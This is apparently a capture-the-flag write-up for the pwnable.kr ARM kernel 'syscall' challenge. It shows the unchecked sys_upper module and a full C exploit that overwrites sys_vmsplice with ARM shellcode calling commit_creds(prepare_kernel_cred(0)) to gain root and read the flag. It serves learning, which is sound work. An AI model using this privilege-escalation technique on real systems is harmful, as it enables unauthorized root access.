Pwnable Challenge: Syscall

Syscall is the first pwnable.kr challenge that deals with a kernel vulnerability. It’s pretty much the simplest possible kernel vulnerability, with the only twist being that its on ARM. It is a new system call that takes a string and returns the string with all letters capitalized:

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
#define NR_SYS_UNUSED		223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
	int len = strlen(in);
	int i;
	for(i=0; i<len; i++){
		if(in[i]>=0x61 && in[i]<=0x7a){
			out[i] = in[i] - 0x20;
		}
		else{
			out[i] = in[i];
		}
	}
	return 0;
}

static int __init initmodule(void ){
	sct = (unsigned int**)SYS_CALL_TABLE;
	sct[NR_SYS_UNUSED] = sys_upper;
	printk("sys_upper(number : 223) is added\n");
	return 0;
}

static void __exit exitmodule(void ){
	return;
}

module_init( initmodule );
module_exit( exitmodule );

The issue here is that there is no check on either the source or destination addresses of the strings. This creates a kind of distorted arbitrary read/write vulnerability, as the syscall will change any bytes that correspond to lower case characters. This allows you to write the necessary commit_creds code into executable kernel memory.

The following exploit overwrites the syscall vmsplice code with the grant_privs bytes which correspond to a call to commit_creds(prepare_kernel_cred(0)). Then vmsplice is called and and the code is run, which changes the uid of the program to 0 (root). Then the flag is read and printed:

//syscall solver
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SYS_UPPER 223
#define OVERWRITTEN 343

/* exploit output: 
[+] Overwriting sys_vmsplice...
[+] Got r00t
[+] Flag: Congratz!! addr_limit looks quite IMPORTANT now... huh?
*/

int main()
{
    char flag[128];
    char grant_privs[] = "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x01\xb5\x92\x1a"
                         "\x10\x1c\xf0\x46\x02\x4a\x90\x47\x02\x4a\x1c\x32"
                         "\x90\x47\x01\xbd\x24\xf9\x03\x80\x50\xf5\x03\x80";

    printf("[+] Overwriting sys_vmsplice...\n");
    void * sys_vmsplice = (void *)0x800e3dc8;

    syscall(SYS_UPPER, grant_privs, sys_vmsplice);
    syscall(OVERWRITTEN);

    if(getuid()){
        perror("[-] Something went wrong\n");
        return -1;
    }

    printf("[+] Got r00t\n");
    FILE * fp = fopen("/root/flag","r");
 
    if( fp == NULL )
    {
       perror("[-] Error while opening the flag file\n");
       return -1;
    }

    fgets(flag, 128, fp);
    printf("[+] Flag: %s", flag);
 
    fclose(fp);
    return 0;
}

I gotta say this is my prettiest exploit. I put some artistry into this one. But the first thing to attempt is commit_creds(prepare_kernel_cred(0)) code that avoids null bytes and lower case characters. After a lot of finagling I came up with the following assembly:

.data:00000008 b501 push {r0, lr}	      
.data:0000000a 1a92 subs r2, r2, r2	      
.data:0000000c 1c10 adds r0, r2, #0	      
.data:0000000e 46f0 mov r8, lr	      
.data:00000010 4a02 ldr r2, [pc, #8] ; (0x0000001c)	;char c = src[i]
.data:00000012 4790 blx r2	      
.data:00000014 4a02 ldr r2, [pc, #8] ; (0x00000020)	;dst[i] = c
.data:00000016 321c adds r2, #28	      
.data:00000018 4790 blx r2	;i++
.data:0000001a bd01 pop {r0, pc}	
      
.data:0000001c 8003f924
.data:00000020 8003f550

The last two 4 byte sequences are the addresses of prepare_kernel_cred and commit_creds which I found from /proc/kallsyms:

/ $ cat /proc/kallsyms|grep commit_creds
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms|grep prepare_kernel
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred

I’ll go back and explain what these functions do later. man this is a messy writeup i gotta fix this up.